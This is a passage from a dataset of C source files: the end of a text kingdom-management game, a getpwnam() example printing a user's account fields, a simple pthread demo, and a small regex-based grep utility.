printf("\nThe few people that survived the hard winter have left "
"for pastures new.\nYour empire has crumbled like many before it and"
"many that will rise in\nits ashes");
return 0;
}
if (rand()%5==0) sow = act_of_god();
food = z + (sow * 3.5);
if (people > 1000 && food > 1000)
{
printf("\nSire, your majesty is known throughout the world.\n"
"Statues are errected in your honour today because our nation is strong "
"and\nsafe from harm, our nation is currently %d strong and we have "
"supplies\nof %d to feed us. We now longer need your guidance in "
"these matters you\ncan sit in state without vexation on our earthly "
"matters.\n\nALL HAIL THE KING!", people, food);
return 0;
}
printf("\nA New Year Dawns\n");
goto input;
}
|
the_stack_data/140766664.c
|
//
// Created by zhangrongxiang on 2018/2/22 10:33
// File getpwnam
//
#include <stdio.h>
#include <pwd.h>
/* The passwd structure. */
//struct passwd
//{
// char *pw_name; /* Username. */
// char *pw_passwd; /* Password. */
// __uid_t pw_uid; /* User ID. */
// __gid_t pw_gid; /* Group ID. */
// char *pw_gecos; /* Real name. */
// char *pw_dir; /* Home directory. */
// char *pw_shell; /* Shell program. */
//};
//The getpwnam() function returns a pointer to a structure containing the broken-out fields of the record in the password database
// (e.g., the local password file
//\/etc/passwd, NIS, and LDAP) that matches the username name.
int main(int argc,char *argv[]) {
struct passwd *pw;
char *username = "devis";
if (argc == 2){
username = argv[1];
}
pw = getpwnam(username);
if (!pw) {
printf("%s is not exist\n", username);
return -1;
}
// ./a.out vagrant
printf("pw->pw_name = %s\n", pw->pw_name);//vagrant
printf("pw->pw_passwd = %s\n", pw->pw_passwd);//x
printf("pw->pw_uid = %d\n", pw->pw_uid);//1000
printf("pw->pw_gid = %d\n", pw->pw_gid);//1000
printf("pw->pw_gecos = %s\n", pw->pw_gecos);//Vagrant Default User,,,
printf("pw->pw_dir = %s\n", pw->pw_dir);//home/vagrant
printf("pw->pw_shell = %s\n", pw->pw_shell);//bin/bash
return 0;
}
|
the_stack_data/211079367.c
|
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <malloc.h>
struct thread_data
{
int thread_id;
int sum;
char *message;
};
void *print_hello(void *thread_arg)
{
struct thread_data *my_data;
int taskid = 0;
int sum = 0;
char hello_msg[255];
my_data = (struct thread_data *) thread_arg;
taskid = my_data->thread_id;
sum = my_data->sum;
strcpy(hello_msg, my_data->message);
printf("taskid = %d, sum = %d, message=%s\n",
taskid, sum, hello_msg);
}
int main(int argc, char const *argv[])
{
pthread_t my_thread;
struct thread_data my_thread_data;
my_thread_data.message = calloc(255, sizeof(char));
my_thread_data.thread_id = 10;
my_thread_data.sum = 35;
my_thread_data.message = "Hello World";
pthread_t my_id = pthread_create(&my_thread, NULL,
print_hello, (void *)&my_thread_data);
pthread_join(my_thread, NULL);
pthread_exit(NULL);
return 0;
}
|
the_stack_data/243893643.c
|
#include <sys/types.h>
#include <regex.h>
#include <stdio.h>
#include <stdlib.h>
#define BUF_SIZE 4096
static void do_grep(regex_t *pat, FILE *f);
int main(int argc, char *argv[]) {
regex_t pat;
int err;
int i;
if (argc < 2) {
fputs("no pattern\n", stderr);
exit(1);
}
err = regcomp(&pat, argv[1], REG_EXTENDED | REG_NOSUB | REG_NEWLINE);
if (err != 0) {
char buf[BUF_SIZE];
regerror(err, &pat, buf, sizeof buf);
puts(buf);
exit(1);
}
if (argc == 2) {
do_grep(&pat, stdin);
regfree(&pat);
exit(0);
}
for (i = 2; i < argc; i++) {
FILE *f;
f = fopen(argv[i], "r");
if (!f) {
perror(argv[i]);
exit(1);
}
do_grep(&pat, f);
fclose(f);
}
regfree(&pat);
exit(0);
}
static void do_grep(regex_t *pat, FILE *src) {
char buf[BUF_SIZE];
while (fgets(buf, sizeof buf, src)) {
if (regexec(pat, buf, 0, NULL, 0) == 0) {
fputs(buf, stdout);
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.